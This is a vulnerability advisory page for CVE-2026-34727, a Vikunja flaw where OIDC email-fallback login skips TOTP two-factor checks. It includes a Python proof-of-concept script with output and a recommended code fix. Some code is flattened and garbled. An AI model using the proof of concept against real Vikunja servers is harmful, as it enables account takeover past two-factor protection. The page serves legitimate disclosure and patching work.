CVE-2026-34727: Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

Published Apr 10, 2026
·
Updated

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

go return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

python import requests, re, html from urllib.parse import parseqs, urlparse

TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"

verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)

login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")

user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed

Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)

--- Found and reported by aisafe.io

Other sources

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.

MITRE

Affected Software

2 affected componentsFixes available
go/code.vikunja.io/api<=2.2.2
2.3.0
Vikunja Vikunja<2.3.0

Event History

Apr 10, 2026
Advisory Published
via GitHub·03:30 PM
Data Sourced
via GitHub·03:30 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·03:45 PM
Data Sourced
via MITRE·03:45 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
Affected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-34727?

CVE-2026-34727 has a high severity level due to its potential for bypassing two-factor authentication security.

2

How do I fix CVE-2026-34727?

To fix CVE-2026-34727, upgrade Vikunja to version 2.3.0 or later to ensure proper TOTP two-factor authentication checks.

3

What software is affected by CVE-2026-34727?

CVE-2026-34727 affects Vikunja versions up to and including 2.2.2.

4

What type of vulnerability is CVE-2026-34727?

CVE-2026-34727 is classified as a two-factor authentication bypass vulnerability.

5

Can CVE-2026-34727 be exploited remotely?

Yes, CVE-2026-34727 can be exploited remotely if the attacker has access to the OIDC login path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203